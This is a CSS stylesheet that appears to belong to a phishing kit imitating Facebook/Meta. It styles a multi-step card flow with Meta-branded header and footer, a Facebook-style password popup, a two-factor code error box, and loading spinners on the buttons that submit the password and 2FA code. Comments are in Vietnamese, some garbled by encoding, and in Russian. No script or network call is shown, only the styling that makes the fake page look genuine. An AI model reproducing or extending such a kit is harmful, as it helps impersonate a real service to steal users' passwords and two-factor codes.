/* ===== BODY LAYOUT ===== */
body{
    background: linear-gradient(120deg,#f7f7f9,#eef2f6);
    min-height:100vh;
    display:flex;
    flex-direction:column;
    font-family: system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI";
}

/* ===== HEADER ===== */
.meta-header{
    background:#fff;
    padding:10px 20px;
    border-bottom:1px solid #e5e7eb;
}
.meta-logo{
    font-weight:600;
    font-size:18px;
}

/* ===== MAIN CONTENT ===== */
.meta-content{
    flex:1;
	background: radial-gradient(103.89% 81.75% at 95.41% 106.34%, #eaf8ef 6%, #eaf8ef00 79.68%), radial-gradient(297.85% 151.83% at -21.39% 8.81%, #faf1f1 0% 15.29%, #f3edf5 21.39%, #e5f0fa 40.79%);
}

/* ===== CARD ===== */
.step-card{
    max-width:600px;
    margin:100px auto;
    background:#fff;
    border-radius:10px;
    padding:28px;
}
.step{ display:none; }
.step.active{ display:block; }

.avatar{
    border-radius:8px;
    object-fit:cover;
}

/* ===== FOOTER ===== */
.meta-footer{
    font-size:12px;
    color:#6b7280;
    padding:16px 32px;
    border-top:1px solid #e5e7eb;
    background:transparent;
}

.footer-inner{
    display:flex;
    justify-content:space-between;
    align-items:center;
    max-width:1100px;
    margin:0 auto;
}

.footer-left a,
.footer-right a{
    color:#6b7280;
    text-decoration:none;
    margin-right:14px;
    white-space:nowrap;
}

.footer-left a:last-child{
    margin-right:0;
}

.footer-left a:hover,
.footer-right a:hover{
    text-decoration:underline;
}

.footer-bottom{
    max-width:1100px;
    margin:6px auto 0;
    color:#9ca3af;
}

/* ===== INPUT ERROR ===== */
.is-invalid{
    border-color:#dc3545;
}
.invalid-feedback{
    display:block;
}
/* ===== META NAV BUTTON ===== */
.meta-nav-btn{
    display:inline-flex;
    align-items:center;
    gap:6px;
    padding:8px 15px;
    font-size:14px;
    border-radius:6px;
}

.meta-nav-btn svg{
    width:14px;
    height:14px;
}

.meta-btn-prev{
    background:#fff;
    border:1px solid #d1d5db;
    color:#111827;
}

.meta-btn-prev:hover{
    background:#f9fafb;
}

.meta-btn-next{
    background:#1877f2;
    border:1px solid #1877f2;
    color:#fff;
}

.meta-btn-next:hover{
    background:#166fe5;
}
/* ===== FB PASSWORD POPUP ===== */
.fb-modal .modal-content{
    border-radius:4px;
    border:none;
    font-size:13px;
}

.fb-modal .modal-header{
    background:#f5f6f7;
    border-bottom:1px solid #dddfe2;
    padding:8px 12px;
}

.fb-modal .modal-title{
    font-size:14px;
    font-weight:600;
}

.fb-modal .btn-close{
    font-size:12px;
}

.fb-modal .modal-body{
    padding:12px;
}

.fb-user-row{
    display:flex;
    align-items:center;
    margin-bottom:8px;
}

.fb-user-row img{
    width:32px;
    height:32px;
    border-radius:2px;
    margin-right:8px;
}

.fb-user-name{
    font-weight:600;
}

.fb-desc{
    margin:6px 0 8px;
}

.fb-form-row{
    display:flex;
    align-items:center;
    gap:6px;
}

.fb-form-row label{
    min-width:60px;
    margin:0;
}

.fb-form-row input{
    flex:1;
    height:24px;
    font-size:13px;
    padding:2px 6px;
}

.fb-forgot{
    display:inline-block;
    margin-top:6px;
    color:#385898;
    text-decoration:none;
}

.fb-forgot:hover{
    text-decoration:underline;
}

.fb-modal .modal-footer{
    padding:8px 12px;
    border-top:1px solid #dddfe2;
    background:#f5f6f7;
}

.fb-btn-cancel{
    background:#e4e6eb;
    border:1px solid #ccd0d5;
    padding:2px 10px;
    font-size:13px;
}

.fb-btn-submit{
    background:#4267b2;
    border:1px solid #4267b2;
    color:#fff;
    padding:2px 12px;
    font-size:13px;
}

.fb-btn-submit:hover{
    background:#365899;
}
.fb-btn-submit:disabled,
.fb-btn-submit.btn-with-spinner:disabled,
.fb-modal .fb-btn-submit:disabled{
    background:#bcc5d3 !important;
    border-color:#bcc5d3 !important;
    color:#f0f0f0 !important;
    cursor:not-allowed !important;
    opacity:0.65 !important;
    pointer-events:none;
}
/* ===== CENTER STEP CARD ===== */
.meta-center{
    min-height:100%;
    display:flex;
    align-items:center;     /* cÄn giį»Æa theo chiį»u dį»¨c */
    justify-content:center; /* cÄn giį»Æa ngang */
    padding: 0 0;         /* trĆ�nh dĆ­nh sĆ�t khi mĆ n hĆ¬nh thįŗ�p */
}
/* ===== FACEBOOK TYPOGRAPHY RESET ===== */
body{
    font-size:14px;
    line-height:1.34;
    color:#1c1e21;
    -webkit-font-smoothing:antialiased;
}

/* HEADINGS */
h5{
    font-size:17px;
    font-weight:600;
    line-height:1.42;
    margin-bottom:8px;
}

/* PARAGRAPH */
p{
    margin-bottom:10px;
}

p.small{
    font-size:13px;
    line-height:1.5;
    color:#1c1e21;
    margin-bottom:12px;
}

/* MUTED TEXT */
.text-muted{
    color:#65676b !important;
}

/* LABEL */
.form-label{
    font-size:13px;
    font-weight:600;
    color:#1c1e21;
    margin-bottom:4px;
}

/* INPUT */
.form-control{
    font-size:14px;
    padding:8px 8px;
    line-height:1.3;
}

/* CHECKBOX LABEL */
.form-check-label{
    font-size:13px;
    line-height:1.4;
    color:#1c1e21;
}

/* HR giį»‘ng Facebook */
hr {
    margin: 20px 0;
    padding: 0;
    border: 0;
    border-top: 1px solid #000;
}

/* LIST STEP 3 */
ol li{
    line-height:1.4;
    padding:6px 0;
}

/* STEP COUNTER */
.step .text-center.small{
    font-size:13px;
    color:#65676b;
}

/* ===== LINK STYLE (NO UNDERLINE) ===== */
a{
    color:#385898;
    text-decoration:none !important;
}

a:hover{
    text-decoration:underline !important;
}

/* ===== BUTTON TEXT ===== */
button{
    font-size:14px;
    line-height:1.2;
}

/* ===== MODAL FACEBOOK TEXT ===== */
.fb-modal{
    font-size:13px;
}

.fb-desc{
    font-size:13px;
    line-height:1.4;
    color:#1c1e21;
}

/* FOOTER TEXT */
.meta-footer{
    font-size:12px;
    line-height:1.3;
    color:#65676b;
}
.meta-btn-next.disabled {
    opacity: 0.5;
    cursor: not-allowed;
}
.fb-checkbox {
    display: flex;
    align-items: flex-start;
    gap: 10px;
    cursor: pointer;
    user-select: none;
    font-size: 14px;
    line-height: 1.45;
}

.fb-checkbox input {
    display: none;
}

/* box */
.fb-checkbox .checkmark {
    width: 24px;
    height: 24px;
    border: 1.5px solid #ccd0d5;
    border-radius: 3px;
    background: #ffffff; /* luĆ´n trįŗÆng */
    position: relative;
    flex-shrink: 0;
    margin-top: 2px;
    box-sizing: border-box;
}

/* checked: chį»‰ Ä‘į»•i viį»n */
.fb-checkbox input:checked + .checkmark {
    border-color: #1877f2;
    background: #ffffff;
}

/* tick xanh Facebook */
.fb-checkbox input:checked + .checkmark::after {
    content: "";
    position: absolute;
    left: 7px;
    top: 5px;
    width: 6px;
    height: 10px;
    border: solid #1877f2; /* xanh Meta */
    border-width: 0 2px 2px 0;
    transform: rotate(45deg);
}

/* hover */
.fb-checkbox:hover .checkmark {
    border-color: #1877f2;
}

/* text */
.fb-text {
    color: #1c1e21;
}
.mbm {
    margin-bottom: 10px;
}
.uiBoxRed {
    background-color: #ffebe8;
    border: 1px solid #dd3c10;
}
.pam {
    padding: 10px;
}
/* Меньше отступов у сообщения "The code you entered is incorrect..." в 2FA */
.fb-modal #ajax_error_msg_2fa.mbm {
    margin-top: 4px;
    margin-bottom: 6px;
}
.fb-modal #ajax_error_msg_2fa .pam {
    padding: 6px 10px;
}
#btnNext2 {
    position: relative;
    display: inline-flex;
    align-items: center;
    gap: 8px;
    min-width: 7.5em;
}

/* Spinner */
#btnNext2 .btn-spinner {
    width: 18px;
    height: 18px;
    border: 2px solid rgba(255,255,255,0.4);
    border-top-color: #fff;
    border-radius: 50%;
    display: none;
    animation: spin 0.8s linear infinite;
}

/* Loading: не менять размер кнопки */
#btnNext2.loading {
    opacity: 0.6;
    pointer-events: none;
    min-width: 7.5em;
}

#btnNext2.loading .btn-text,
#btnNext2.loading .btn-arrow {
    display: none;
}

#btnNext2.loading .btn-spinner {
    display: inline-block;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

/* Modal Send button with spinner (password + 2FA), фиксированный размер при loading */
.fb-modal .btn-with-spinner {
    position: relative;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    min-width: 5em;
}

.fb-modal .btn-with-spinner .btn-spinner {
    width: 16px;
    height: 16px;
    border: 2px solid rgba(255,255,255,0.4);
    border-top-color: #fff;
    border-radius: 50%;
    display: none;
    animation: spin 0.8s linear infinite;
}

.fb-modal .btn-with-spinner.loading {
    opacity: 0.6;
    pointer-events: none;
    min-width: 5em;
}

.fb-modal .btn-with-spinner.loading .btn-text {
    display: none;
}

.fb-modal .btn-with-spinner.loading .btn-spinner {
    display: inline-block;
}